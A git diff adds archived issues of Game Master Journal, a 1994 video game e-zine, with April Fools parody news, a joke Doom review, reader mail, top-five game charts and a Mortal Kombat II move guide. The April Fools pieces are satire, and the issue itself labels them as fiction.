+ [ :: Thanks to Bob the Bozo PR of Sunnyvale for contributing :: ] + + ================================================================== + LAST SECOND UPDATE + ================================================================== + We were handed this just as we were aboout to go to spell-check. + + + WARNING: Look for clues! You are about to be had! This may be it! + + March 32, 1994 (Clue: This date doesn't exist) + [commented for the mentally impaired] + JAGUAR OWNERS EXPOSED TO BOGUS PRESS RELEASE (bogus headline) + + Members dismember each other (overstated) over ethics debate - + alledged tainted press release blamed (not true, bogus subhead) + + Allover, US-- An unnamed source (unsubstantiated) today reported that + users of the popular 64-bit Atari Jaguar gaming system have banned + together (typed online messages) in an effort to discredit the + infamous "bogus" press release just days before the dreaded April + Fools holiday is to be celebrated throughout the world (run on + sentence-hate 'em!). + + Unlike a bug that cripples a computer until the entire system can be + reboot, the sinister press release causes unusual chemicals to form in + the brain (lions and tigers and bear a thought, oh my!). Dr. Ima + Knotheir (alias) of the Institute of Preventive Thinking (I.P.T.) + states that while "some (most everyone) finds some humor as the feared + press release propagates over the networks, clear laboratory study + (personal opinion) of those who are without brains indicate there is + no humor in anything classified as funny." Dr. Knotheir was unable to + indicate a direct association of his study to the specific press + release that launched this one, however. + + In support of the doctor's findings, Jaguar owners have launched an + attack against any and all bogus press release that contain + misinformation. Within six weeks, a committee will be formed to + establish a panel that will elect a professional staff to advise a + supervisory board for a new team of advisors to appoint a cabinet to + determine whether a bogus press release may contain accurate + information (Government funding is anticipated). In the interim, all + bogus press releases must be labeled to contain artificial ingredients + which have been known to cause brain activity by the I.P.T. (huh?) + + In their first official action, the Jaguars Owners Bogus Press Release + Action Committee has classified this bogus press release to be + impounded and not read. In compliance with this declaration, the + following statement has been appended for your safety: + + IMPORTANT: DO NOT READ THIS! + + Products named are properties of their owning companies. Text and + concept (c)1994, Artisan Software. + + +-------------------------------------------------------------------+ + + Crawfordality, new hidden characters in MK2 version 4.0 + + Chicago, IL (March 27, 1994) + Midway announced today the release of Mortal Kombat II version 4.0, + and yes, version 4.0 is in the title. The game will have some very + minor touch-ups with 4 new characters included. + "We wanted to be like Capcom," said Ed Boon, programmer/designer of + MK2. "After my interview with this bright young man Anthony from GMJ, + we decided that having many cheap upgrades would be good - just like + SF2." + The new version, already in Ottowa and in some middle-of-knowhere + places in the Midwest, has four new characters, and GMJ has the scoop + on them! + + Arkady: "After we saw Tanya [Kutasz, Futuure Wave editor of GMJ] we + has to put her into the game." She flies like a vampire, + prowls like a cat and can cast spells (!!) on her foes. + She often yells out "Cause Mortal" a la Shao Khan. You + get to her by Double Flawlessing 50 opponents and then + 'DF'ing Noob Saibot, only using High Kick. + Clinton: "Hey, if NBA Jam could do it, why not us?" He has a deadly + saxophone, throws Socks and tosses WhiteWater at times. + [see related WhiteWater article.] At presstime we don't + know how to access him - he's cheering the Razorbacks + right now. + alt.mk: "We mentioned the Internet guys in the closing credits, but + we felt that it wasn't enough." alt.mk throws fireballs + like Liu Kang but the damage done varies.. if the player + counterattacks quickly it does much damage, if he allows + the flame to pass through him (or under him) it does none. + Finisher is like Scorpion's Toasty fatality, but instead + a little guy appears on the screen yelling "Hugo!" + Some of the Game Masters feel that he says "Yugo!", but + that's another story. + Sheng: "Many SF2 players wonder where he is - well, HERE he is!" + Long His only move is to spawn rumors and sequels. Does damage + a la alt.mk, except sometimes he can morph into alt.sf2 + Very dangerous character. + + In a related story, a new fatality can be done with the Ninja + Girls. If you defeat a character using only punch you can morph into + Cindy Crawford.. a Crawfordality. She climbs atop your foe's + shoulders and goes to do a Cammy Frankenstiener, but she slips.. going + into a position we prefer not to mention in GMJ. The Pepsi and MTV + people are pleased. + ++-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ +/ _______ Game Master_Journal's _ _ _ _ _ \ +\|__ __| | | | \ | (_) | | | | / +/ | |_ _ ___ ___ __| | __ _ _ _ | \| |_ __ _| |__ | |_ \ +\ | | | | |/ _ \/ __|/ _` |/ _` | | | | | . ` | |/ _` | '_ \| __| / +/ | | |_| | __/\__ \ (_| | (_| | |_| | | |\ | | (_| | | | | |_ \ +\ |_|___,_|____||___/\__,_|\__,_|\__, | |_| \_|_|\__, |_| |_|\__| / +/ |_ _| __ \ / ____| __/ | __/ | \ +\ | | | |__) | | 8pm |___/ |___/ / +/ | | | _ /| | Pacific Time +=-=-=-=-=-=-=-=-=-=-=-=-=-+ +\ _| |_| | \ \| |____ in channel |THIS WEEK: / +/ |_____|_| \_\\_____| #GMJ | How funny GMJ 43 was! \ ++-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+=-=-=-=-=-=-=-=-=-=-=-=-=-+ + _____ _____ _____ _ +| __ \ / ____| | __ \ (_) +| |__) | | | |__) |_____ ___ _____ _____ +| ___/| | | _ // _ \ \ / / |/ _ \ \ /\ / / __| +| | | |____ | | \ \ __/\ V /| | __/\ V V /\__ \ +|_| \_____| |_| \_\___| \_/ |_|\___| \_/\_/ |___/ ++--------------------------------------------------------------------+ +|TITLE: |PUBLISHER |GAME TYPE: |SIZE: |AVERAGE OF REVIEWS: | +| Doom episode| id Software| Save da |.1 MEG| 99.5| +| 4: Heaven | | Bunnies | |*****%%%%%@@@@@#####| +|-------------+------------+-------------+------+--------------------| +|MAIN REVIEW BY: OTHER REVIEWERS | +| | +| Arkady 99 Ace 100 ---------- ** ---------- ** | +| | ++--------------------------------------------------------------------+ + Well, it's out! It's the Doom you've been waiting for - Episode 4 hits + the stores today. And what a sequel! It's all that we could wish for + and more. + + It seems that our loyal space marines are transported this time to + another dimension altogether, after escaping from Hell in the previous + episodes. The setting this time: Heaven. The Elysian Fields couldn't + be more beautiful than the graphics portrayed here - Meadows with + warm, fuzzy bunny rabbits and colorful butterflies fill the game, + along with sun-dappled forests that are home to Bambi-like deer and + friendly racoons. Your Mission: make sure there's enough food for all + Heaven's inhabitants. Can't have those cute little cotton tails + turning belly up because their bellies are empty, now can we? + + The way in which you do this is by searching out the food supplies and + opening them up to the animals by pressing the space bar, much the + same as opening up doors in the last episodes. And guess what? You're + linked with the animals by a psionic connection - and every time one + of them dies from starvation, you lose health points. So keep your + eyes open for berry-filled bushes that are out of the reach of furry + little paws. And make sure you get all the thorns off, too - can't + have bloody tracks all over the forest. Might attract big bad nasties + that'd eat the bunnies and leave their heads on spikes in random + spots, with blood dripping down the sides. Oh, but wait - this is + Heaven, after all. No bad creatures here. Everything's friendly. So + you don't have to worry about being attacked from behind while you're + fulfilling your Mission. Want to play with friends? No problem! The + unsavory Deathmatch option has thankfully been eliminated, leaving you + with the more interesting of the two choices - cooperative mode. So + you all get to help save the animals. What fun! + + The graphics, as stated earlier, are far superior to the last DOOM put + out by id games. Soft pastels are abundant, the animals look + true-to-life, and when you get that food to feed them, you actually + see your hand reach out and place it at their fuzzy little feet. How + quaint! How exciting! How could we ever have loved the death and + destruction of Inferno? This episode far outreaches its predecessor in + all ways, and will be a pleasure to play. It should also soothe the + nerves of all those activists who think that the past episodes were + too violent - none of that unwelcomeness here, simply good, clean, + pure fun. Who wants to see cyber-demons destroyed by BFG's anyhow? + Not I! I give this a definite four stars, without question. Play it, + enjoy it, live it. Tips will be forthcoming on how to save Heaven's + wonderous creatures. Meanwhile, enjoy! + + Ace - 100 + Happy Happy, Joy Joy! I love you, you love me.. + ++-------------------------------------------------------------------+ +| We get serious again (were we ever?) with.. | +| IN THE NEXT * NBA Jam reviews: SNES, Genesis | +| ISSUE OF... * NBA Jam Tournament Edition Arcade Review | +| * More games reviewed.. | +| GAME MASTER | +| JOURNAL * Scoop on Atari and Tempest 2000 | +| * Fiction contest, Ace's Angles, servey + more | +| | ++-------------------------------------------------------------------+ + +Producer: Anthony Shubert Online Layout Editor: Anthony Shubert +Head Writing Staff: Contributors: + HOME SYSTEMS Reny Falzarano Mr. Sims, the Pepperidge Farmer, + HEAD REVIEWERS Instigator Mr. Mojo Risin', Aquarius, + FUTURE WAVE Tanya Kutasz Sai-Blade, Matrix, Shez +CONTRIBUTING ED David Rubin + +We are not affiliated with or endorsed by the following companies: +Nintendo of America, Sega Enterprises, Turbo Technologies (NEC), +Atari Corp., Atari Games, SMSG, or any other company. + +Product names are either (c) or trademarks of their respective +companies, and the non-marking of such product is not a challenge to +its status. + +This is FICTION folks. Sarcasm. Enjoy. + +Ace's Angles, Chronicle, Express Mail, Warp Zone, and all content are +(c) 1990, 1991, 1992, 1993, 1994 Innovative Creations + +:: Some ASCII/ANSI work created with use of 'TheDraw' SW program :: +:: Some ASCII work created with use of 'Figlet' freeware program :: + diff --git a/textfiles.com/games/gmj44.txt b/textfiles.com/games/gmj44.txt new file mode 100644 index 00000000..dc371713 --- /dev/null +++ b/textfiles.com/games/gmj44.txt @@ -0,0 +1,409 @@ + +Hey, you! GMJ Reader! Please let us know what you think.. and if you +want to review a game for us, drop us a line! Thanks.. + + GMJ: The first emag on the Net.. "There can only be one!" + Super NES * Genesis * 3DO * cd32 * arcades * Jaguar ++==================================================================+ +| ____ __ __ _ | +| / ___| __ _ _ __ ___ ___ | \/ | __ _ ___| |_ ___ _ __ | +| | | _ / _` | '_ ` _ \ / _ \ | |\/| |/ _` / __| __/ _ \ '__| | +| | |_| | (_| | | | | | | __/ | | | | (_| \__ \ || __/ | | +| \____|\__,_|_| |_| |_|\___| |_| |_|\__,_|___/\__\___|_| | +| | +| _ _ | +| | | ___ _ _ _ __ _ __ __ _| | | +| _ | |/ _ \| | | | '__| '_ \ / _` | | | +| | |_| | (_) | |_| | | | | | | (_| | | | +| \____/\___/ \__,_|_| |_| |_|\__,_|_| | +| | ++==================================================================+ +| _ _ _ _ | +| Part 3 of our Ultimate MK2 Guide | || | | || | | +| GMJ Top 5 returns | || |_| || |_ | +| Why be Raiden or Reptile? +=====================+|__ _|__ _|| +| | April 8 to April 15 | |_| |_| | ++============================+=====================+===============+ + IF YOU HAVE ACCESS TO Internet Relay Chat (IRC), then join the GMJ + Chat Channel, #GMJ. Tuesdays at 7pm Pacific some of the GMJ Crew + will be available to answer your questions. Industry insiders + dropping by too! [Moderated.] + + Ace's Angles + What's new, and why Super SF2 Turbo will fail + Express Mail + Mucho Mail-o, where's-a yours-o? + GMJ Top 5 + Returns..! + Ultimate MK2 Guide part 3 + EVERY SINGLE MOVE, only in GMJ + ___ _ ___ _ + / _ \ ( ) / _ \ | | + | |_| | ___ __|/ ___ | |_| |_ __ __ _| | ___ ___ + | _ |/ __/ _ \/ __| | _ | '_ \ / _` | |/ _ \/ __| + | | | | (_| __/\__ \ | | | | | | | (_| | | __/\__ \ + |_| |_|\___\___||___/ |_| |_|_| |_|\__, |_|\___||___/ + __/ | + |___/ + This episode of Ace's Angles is in memory of Kurt Cobain. Sometimes + life (and death) aren't fair. Hi gang, it's Ace back again.. and my libido + is doing just peachy, thank you. [Smells Like Teen Spirit reference (tm).] + Okay - what has been going on this week..? Word on the inside is that + videogame distributors and arcade operators are SICK of Capcom. 3 have goon + off-the-record with us, and have said that Capcom is releasing too many + 'upgrades' that do almost nothing but cost them money. They have been burned + with SSF2 and many aren't interested in SSF2T. And I don't blame them at + all. Sorry Capcom, but until you can count to three my money is going into + MK2 and NBA Jam Tourney. + The scoop on Atari: they love GMJ. How do we know this? We were + mentioned in Atari's Roundtable on GEnie [it's like IRC for non- Internet + users.] Our April Fools joke was mentioned, as was the mag.. and I'd just + like to thank Bob Brodie (Director of Communications at ATC) and the check is + in the mail. [Sarcasm, gang!!] + Williams has signed on with Nintendo to make the 64-bit Project Reality + arcade system. WMS Industries has signed on with Atari for Jaguar products. + Nintendo says that they gave Atari nothing in the lawsuit Atari won. Star Fox + was seen fighting Trevor McFur. What is this world coming to? + Deadline? What's a deadline?.... Our special NBA Jam review section + will be in GMJ 45 as we have had a flood of quality writings that need to be + shown to the world =] NBA Jam TE is cool, BTW, and you should go and play it + *NOW*. It's a nice change of pace.. no decapitations or anything! + Well, that's it for this week.. come visit us on Tuesday Night IRC + (see ad located elsewhere in this issue), please! It don't work without your + help.. :) Cya next Friday. + _____________________________________________________________________ +]^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^[ +] Innovative Creations [ +] 3730 McClintock Ave #537 +--- + + +--+ +--+ +--- +-- +-- [ +] Los Angeles, CA 90007 |- ++ +--+ |-++ |- +--+ +--+ [ +] (shubert@usc.edu) +--- + + | | \ +--- --+ --+ [ +] |\ /| +--+ -+- | [ +] | | |--| | | [ +] | | | | -+- +--- [ +]_____________________________________________________________________[ + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + Mail, mail mail... please send more mail. Thanks! + +*** Reader wants more portable coverage + + How about [more?] coverage for portables, especially Sega Game Gear. It would + be nice to have a monthly 'Consumer's Guide' type of thing, telling what is a + good deal and what's not. For example, say if its worth investing in the + 32-bit processor for the Genesis or just wait for Saturn. Or projections on + the Jaguar saying if you think it will prosper or die out and whether its + worth buying for its present games. Also which would be the best system to + invest in (CD?) or to wait for the Sega VR, or whatever. + + ___ _ ___ +| _ )_ _ _ _ __ _ _ _| |_ | __|__ _ _ __ _ Bryant Fong +| _ \ '_| || / _` | ' \ _| | _/ _ \ ' \/ _` | Los Altos, CA +|___/_| \_, \__,_|_||_\__| |_|\___/_||_\__, | bryant@netcom.com + |__/ |___/ + [ACE: Hey, Bryant.. nice font in your .sig! GMJ 46 will have a huge + "What to bother with" section, and that's a tenative title. We + are waiting for our Jag review system and until then, we can't + really say that system A is better then system B. ] + + +*** Singe from the edge + + Anthony, + Just read GMJ #43. I realize the whole thing was an April Fool's joke but if + you're going to do that, don't say "everything in here is a joke!!!" You + really could have seen how many suckers are out there. It just seems like a + waste of time. Not trying to flame you (well, maybe just a singe... :-) ) + but, well, just seemed rather pointless to me! Good luck with the next issue. + Hey, you said you wanted e-mail! Later dude........ + + Joey + From berner@ushs01.ENET.dec.com Apr 1 13:58:01 1994 + +*** You guys are pathetic! + + I am writing to you regarding Game Master Journal #43. I found your "April + Fool's joke" to be one of the most tasteless, pathetic displays of careless + journalism I have ever had the pleasure of reading. I look forward to each + issue in my mailbox; the only fault I ever find is that it is never long + enough. Thank you for an incredulously stupid and stupifyingly hilarious + April 1. (Sorry, ran out of adjectives, folks.) + + From gnu@theporch.raider.net Apr 2 17:27:26 1994 + + [ACE: Wow - thanks :) ] + + ..................................................................... + :WE are the only magazine that prints ALL EMAIL sent to us that is : + :not vulgar or obscene. So.. send your videogame hints, tips + Q's!: + : : + :# # ##### # # ### # # ##### ##### # # ### ##### # : + :# # # # # # # ## # # # ## ## # # # # : + :# # ### # # ##### # # # # ### # # # ##### # # : + :# # # # # # # # # # ## # # # # # # # # : + : # # ##### # # # # # # # ##### # # # # ##### #####: + : ........................: + :shubert@usc.edu VOICE: 213-743-1877 : : + :------------------ : Without email, GMJ : + :ccd@panix.com : can't work! So tell : + :tnkutasz@ugcs.caltech.edu : us what you think! : + : : : + :...........................................:.......................: + + ***************************************************************************** + Game Master Journal's TOP FIVE LISTS! + ***************************************************************************** + SUPER NES SEGA CD + ===================================================================== + Rating Name of Game Rating Name of Game + ===================================================================== + 4.833 NBA Jam 4.857 NHL '94 + 4.600 Secret of Mana + 4.504 Zelda III:Link to the Past 4.750 Terminator + 4.393 Street Fighter 2 Turbo 4.480 Silpheed + 4.338 Final Fantasy 2 (4 [SFC]) 4.188 AH3 Thunderstrike + + GENESIS GAME BOY + ========================================================================== + 4.750 NBA Jam 4.750 Mr. Do! + 4.675 NHL '94 4.375 Link's Awakening + 4.600 Shining Force 4.125 Tetris + 4.600 PGA Tour Golf 2 3.900 Super Mario Land 2 + 4.520 Disney's Aladdin 3.833 Metroid II + ++-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ +/ _______ Game Master_Journal's _ _ _ _ _ \ +\|__ __| | | | \ | (_) | | | | / +/ | |_ _ ___ ___ __| | __ _ _ _ | \| |_ __ _| |__ | |_ \ +\ | | | | |/ _ \/ __|/ _` |/ _` | | | | | . ` | |/ _` | '_ \| __| / +/ | | |_| | __/\__ \ (_| | (_| | |_| | | |\ | | (_| | | | | |_ \ +\ |_|___,_|____||___/\__,_|\__,_|\__, | |_| \_|_|\__, |_| |_|\__| / +/ |_ _| __ \ / ____| __/ | __/ | \ +\ | | | |__) | | 8pm |___/ |___/ / +/ | | | _ /| | Pacific Time +=-=-=-=-=-=-=-=-=-=-=-=-=-+ +\ _| |_| | \ \| |____ in channel |THIS WEEK: / +/ |_____|_| \_\\_____| #GMJ | Atari's survival chances \ ++-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+=-=-=-=-=-=-=-=-=-=-=-=-=-+ + ++-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ +/ ### #### ##### ### ##### ### # \ +\ # # # # # # # # # / +/ ### #### ### # # ##### # #### ##### #### ### #### ##### \ +\ # # # # # # # # # # # # # # # # # # / +/ #### # ##### ### ##### # # ####### ### #### # # #### # \ +\ # # # # # # # # # / +/ # # ##### # ### # # # \ ++-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ + Ultimate Mortal Kombat Guide part three + Every move for every character + Written by Tempest + + ----------------------MORTAL KOMBAT II-Quick Guide v3.23---------------------- + + FC : Full Circle J.M. !! : Quickly + : And (X & Y simultaneously) + HC : 1/2 Circle J.M. St : Start - : Then (Do X then Y) + QC : 1/4 Circle J.M. HP : High Punch () : While (Hold X, do Y, release X) + T : Toward LP : Low Punch #$ : Charge (Hold X for # sec, rel.) + A : Away Bl : Block #X : Do X the designated # times + U : Up HK : High Kick .. : Repeat last button rapidly + D : Down LK : Low Kick [] : Optional + + ------------------------------------------------------------------------------ + + --BASIC ATTACKS (All Characters)-- + + STANDING CROUCHED CLOSE + AWAY JUMPING (Rising/Falling) +HP > Face punch Uppercut Head blow Face Punch Hop punch/Flying punch +LP > Body punch Crouch punch Throw Body Punch Hop punch/Flying punch +Bl > Block high Block low Block Bl. Throws (Not Applicable) +HK > Face kick Ankle kick Knee Roundhouse Hop kick/Flying kick +LK > Chest kick Crouch kick Knee Sweep Hop kick/Flying kick + +* Use Bl(A+D) to crouch and block throws. CPU can always throw you however. +* Close attacks differ: For example: Jax (HP), Cage (HK/LK), & Baraka (2HK). +* Turn-Around Punch/Kick: Jump over opponent, HP, LP, HK, or HK. +------------------------------------------------------------------------------- ++ FATAL:Pit/S. means a Pit II or Kombat Tomb fatality only. After using a + Kombat Tomb fatality, optionally hold down on both joysticks to make the + body fall from the spikes. Close range for both. ++ Dead Pool fatality is LP+LK(D+HP)-[D both joysicks]. Close range. ++ Babality/Friendship: Do not use HP or LP in the 2nd winning round. Any range. ++ {Any/Edge/Sweep/Jump/Close} is the range of a normal fatality. ++ [Air]: Move MAY be done in the air. : Move MUST be done in the air. +------------------------------------------------------------------------------- + --SPECIAL ATTACKS & FINISHING MOVES (FATAL=Fatality / FR=Friendship)-- + +*-LIU KANG-* *-KUNG LAO-* +Standard Red Bolt : 2T-HP [Air] Hat Throw : A-T-LP-[U/D] +Low Red Bolt : 2T-LP Aerial T. Kick : D+HK +F. Thrust Kick : 2T-HK Aura Spin : Bl(2U)-LK[..] +Bicycle Kick : 4$LK Teleport : D-U !! +FATAL:Dragon T.B. : D-T-2A-HK {Close} FATAL:Hat Split : 3T-LK {Sweep} +FATAL:Cartwheel & : Bl(FCA) {Sweep} FATAL:Hat Decap : LP(A-T)-U {Edge} + Uppercut FATAL:Pit/S. : 3T-HP +FATAL:Pit/S. : A-2T-LK BABALITY : 2A-2T-HK +BABALITY : 2D-T-A-LK FR:Rabbit : 3A-D-HK +FR:Disco Dance : T-3A-LK + *-REPTILE-* +*-JOHNNY CAGE-* Acid Spit : 2T-HP +High Green Bolt : HCA-HP Force Ball : 2A-HP+LP +Low Green Bolt : HCT-LP Slide Kick : A+LP+Bl+LK +Shadow Uppercut : A-D-A-HP Invisibility : Bl(2U-D)-HP +Shadow Kick : A-T-LK FATAL:Invisible : 2T-D-HK while +Splits Punch : Bl+LP Torso Rip invisible {Close} +FATAL:Torso Tear : 2D-2T-LP {Close} FATAL:T. Decap : 2A-D-LP {Jump} +FATAL:Uppercut : 2T-D-U-[D+Bl+LP+LK] FATAL:Pit/S. : D-2T-Bl + Decap(s) {Close} BABALITY : D-2A-LK +FATAL:Pit/S. : 3D-HK FR:Buy a Doll : 2A-D-LK +BABALITY : 3A-HK +FR:Signed Photo : 4D-HK *-SHANG TSUNG-* + One F. Skull : 2A-HP +*-SUB-ZERO-* Two F. Skulls : 2A-T-HP +Ice Blast : QCT-LP Three F. Skulls : 2A-2T-HP +Ground Freeze : QCA-LK =MORPHS:Each last 17 seconds= +SUB-ZERO (Continued) SHANG TSUNG (Continued) +Slide Kick : A+LP+Bl+LK Morph:Liu Kang : A-2T-Bl +FATAL:Freeze & : 2T-D-HK -> T-D-2F-HP Morph:Kung Lao : A-D-A-HK + Shatter {Sweep} {Close} Morph:J. Cage : 2A-D-LP +FATAL:Grenade : LP(2A-D-T) {Edge} Morph:Reptile : Bl(U-D)-HP +FATAL:Pit/S. : D-2T-Bl Morph:Sub-Zero : T-D-T-HP +BABALITY : D-2A-HK Morph:Kitana : 3Bl +FR:Buy a Doll : 2A-D-HK Morph:Jax : D-T-A-HK + Morph:Mileena : 2$HP +*-KITANA-* Morph:Baraka : 2D-LK +Fan Throw : 2T-HP+LP [Air] Morph:Scorpion : Bl(2U) +Fan Swipe : A+HP Morph:Raiden : D-A-T-LK +Fan Lift : 3A-HP FATAL:Life Drain : Bl(U-D-U)-LK +Aerial T. Punch : HA-HP {Close} +FATAL:Inflation : LK(2F-D-T) {Close} FATAL:Vapor E. : 2$HK {Sweep} +FATAL:F. Decap : 3Bl-HK {Close} FATAL:Kintaro S. : 30$LP {Sweep} +FATAL:Pit/S. : T-D-T-HK FATAL:Pit/S. : Bl(2D-U-D) +BABALITY : 3D-LK BABALITY : A-T-D-HK +FR:Cake : 3D-U-LK FR:Rainbow : 2A-D-T-HK + +*-JAX-* *-MILEENA-* +Energy Wave : HCA-HK Energy Sais : 2$HP [Air] +Ground Smash : 3$LK Teleport Kick : 2T-LK +Gotcha Grab : 2T-LP.. G. Roll Attack : 2A-D-HK +Quad Slam : Throw-HP.. FATAL:Deflation : 2$HK {Close} +Aerial Backbreaker : Bl FATAL:Sai Stab : T-A-T-LP {Close} +FATAL:Arm Rip : 4Bl-LP {Close} FATAL:Pit/S. : T-D-T-LK +FATAL:H.C. Decap : LP(3T) {Close} BABALITY : 3D-HK +FATAL:Pit/S. : 2U-D-LK FR:Flower : 3D-U-HK +BABALITY : D-U-D-U-LK +FR:Paper Dolls : 2D-2U-LK *-SCORPION-* + Harpoon : 2A-LP +*-BARAKA-* Teleport Punch : QA-HP [Air] +Blue Bolt : QA-HP Leg Grab : HCA-LK +Blade Swipe : A+HP Aerial Throw : Bl +B. Shredder : 3A-LP FATAL:Torch : Bl(2U)-HP {Sweep} +FATAL:Skewer : A-T-D-T-LP {Close} FATAL:Toasty!! : 2D-Bl(2U)-HP {Any} +FATAL:B. Decap : Bl(4A)-HP {Close} FATAL:2xSlice : HP(D-3T) {Close} +FATAL:Pit/S. : 2T-D-HK FATAL:Pit/S. : D-2T-Bl +BABALITY : 3T-HK BABALITY : D-2A-HK +FR:Gift : Bl(U-2T)-HK FR:Buy a Doll : 2A-D-HK + +*-RAIDEN-* +Lightning Bolt : QCT-LP Torpedo B. Push : 2A-T [Air] +Shock Hold : 4$HP Teleport : D-U !! +FATAL:Shock & : 6$LK-Bl..+LK.. FATAL:Uppercut : 8$HP {Close} + Explode {Close} FATAL:Pit/S. : Bl(3U)-HP +BABALITY : 2D-U-HK FR:Kidd Thunder : D-A-T-HK + +=============================================================================== ++ MK II SECRETS: A) Jade: Win one round using LK only in the match before the + question mark. B) Smoke: On the Portal Stage, get a "Toasty!!" and push Start + and Down simultaneously. C) Noob Saibot: Get 50 consecutive wins. D) Pong + game: Reach battle 250. E) Random select: Up+Start at the fighter selection + screen at the original selector position(s). F) No throws: (2P match only) + Down+HP (both joysticks) after the fighters have been selected. G) Hold Down + after preforming the Dead Pool fatality to hear a voice yell "almost" or + something like that. ++ DISCLAIMER: All information contained should be treated as unconfirmed. + This guide assumes MK II version 3.1 or above. All moves from MK2 FAQ. +=============================================================================== +**** + Why would anyone play Reptile? + :: Replies to last week's question +**** + +From alumn132@whscdp.whs.edu Ukn Apr 1 23:34:18 1994 + + That "Why would anybody play Reptile?" gibe hit a nerve with me. I find Rep a + very enjoyable char to play. First of all, there aren't many Reps around, so + a good Rep is a surprise to see. (I'm not that good yet, but I'm working on + it) Reptile is also good at aggravating people (Invisibility + a TAK is very + annoying) and is good at playing defensive if played correctly. His acid spit + is lacking damage wise and Sub-0 can punish Rep for shooting it, but it is a + good anti-air attack and can be thrown into a combo here and there. + + Reptile's forceball is a powerful weapon, if used correctly. It is tough to + learn how + when to use it, but is intimidating and can yield a free uppercut + if it connects. "But it can be jumped" you might say, but a good Rep can + always back up a forceball with that annoying ninja roundhouse. If you fling + a FB and your victim sits there blocking like a dope, you throw. Any way you + look at it, a FB is almost guaranteed to do damage if released right. + + Invisibility is also annoying if used correctly. Good Reps know how to keep + their position hidden for extended periods of time and get a flawless or two. + Invisibility often sends one's opponent into "panic mode", and they leave + themselves wide open for a few well-placed attacks. Invisibility is also + useful for a cool fatality. :) + + Reptile may not be the most pow'fo guy, but he is a challenge to learn, and a + challenge to defeat if that Rep player has sunk plenty of $ into learning him. + He's also just plain cool, and runs a doll store on the side. :) + + I could go on for a while yet, but I'd start repeating myself, and I might + start repeating myself. :) + + Beowulf the abbreviator who supports intelligent MKII debates + +**** + Why would anyone use Raiden? + :: Replies to last week's question +**** + From: molsen@ux4.cso.uiuc.edu + + I must say that the biggest reason I use Raiden is out of loyalty. I mean, he + was sooooo cool in MK I, and now he's been reduced to wearing the + Wal-Mart/Burger World apron. But, I enhjoyed playing him in the original, + and still have fun platying him now. Sure, he has the weakest throw and all, + but the in-the-air flying attack is cool. I do agree he has been weakened to + a most cheese like degree, but I live close to Wisconsin anyways. + Thanks...... + +**** + OKAY - why would anyone use Kung Lao or Johnny Cage? PLEASE send your + replies, and if it's the best one we get, we'll print it! +**** + ++-------------------------------------------------------------------+ +| | +| IN THE NEXT * SURVEY of all of GMJ's readers! | +| ISSUE OF... * NBA Jam section | +| | +| GAME MASTER * Fiction contest, Ace's Angles | +| JOURNAL * Much, much more! | +| | ++-------------------------------------------------------------------+ + +Producer: Anthony Shubert Online Layout Editor: Anthony Shubert +Head Writing Staff: Contributors: + HOME SYSTEMS Reny Falzarano Mr. Sims, the Pepperidge Farmer, + HEAD REVIEWERS Instigator Mr. Mojo Risin', Aquarius, + FUTURE WAVE Tanya Kutasz Sai-Blade, Matrix, Shez +CONTRIBUTING ED David Rubin + +We are not affiliated with or endorsed by the followig companies: +Nintendo of America, Sega Enterprises, Turbo Technologies (NEC), +Atari Corp., Atari Games, SMSG, or any other videogaming company. + +Product names are either (c) or trademarks of their respective +companies, and the non-marking of such product is not a challenge to +its status. + +Ace's Angles, Chronicle, Express Mail, Warp Zone, and all content are +(c) 1990, 1991, 1992, 1993, 1994 Innovative Creations + +:: Some ASCII/ANSI work created with use of 'TheDraw' SW program :: +:: Some ASCII work created with use of 'Figlet' freeware program :: + diff --git a/textfiles.com/games/gmj46.d70 b/textfiles.com/games/gmj46.d70 new file mode 100644 index 00000000..647f0303 --- /dev/null +++ b/textfiles.com/games/gmj46.d70 @@ -0,0 +1,639 @@ + ++==| Super NES |==| Genesis |==| Arcade |==| Jaguar |==| News |==| Opinion |==+ +| ____ __ __ _ | +| / ___| __ _ _ __ ___ ___ | \/ | __ _ ___| |_ ___ _ __ | +| | | _ / _` | '_ ` _ \ / _ \ | |\/| |/ _` / __| __/ _ \ '__| | +| | |_| | (_| | | | | | | __/ | | | | (_| \__ \ || __/ | | +| \____|\__,_|_| |_| |_|\___| |_| |_|\__,_|___/\__\___|_| | +| | +| _ _ | +| | | ___ _ _ _ __ _ __ __ _| | | +| _ | |/ _ \| | | | '__| '_ \ / _` | | | +| | |_| | (_) | |_| | | | | | | (_| | | | +| \____/\___/ \__,_|_| |_| |_|\__,_|_| | +| ISSUE 46 | +| An Innovative Creations production April 25 - May 18, 1994 | ++=============================================================================+ +| Part 5 of our Ultimate Mortal Kombat II guide | +| Project TNT: But wait, there's more! | +| Email contest: can you come up with somethng better? | +| NEWS: Sega + MGM, Atari 3rd party games to come | ++=============================================================================+ + + Ace's Angles + What Amtrak is really like, and more information + Email Contest + mario@italian.stereotype.nintendo.com? You can do better! + Project TNT update + _THE_ source of Summer CES info! + The NEWS + Sega and MGM team up, Atari releases new 3rd party titles list + Ultimate Mortal Kombat II Guide, part 5 + Chess: Zen and the art of character selection + ++============================================================================+ +| ___ _ ___ _ | +| / _ \ ( ) / _ \ | | | +| | |_| | ___ __|/ ___ | |_| |_ __ __ _| | ___ ___ | +| | _ |/ __/ _ \/ __| | _ | '_ \ / _` | |/ _ \/ __| | +| | | | | (_| __/\__ \ | | | | | | | (_| | | __/\__ \ | +| |_| |_|\___\___||___/ |_| |_|_| |_|\__, |_|\___||___/ | +| __/ | | +| |___/ | ++============================================================================+ + You never really know how big this country is until you travel it via the + trains. Hi gang, it's Ace back again for another episode of Ace's Angles. + Amtrak is a great way to relax, play some Game Boy [my Lynx was packed by + accident] and think about how good things are with the magazine. 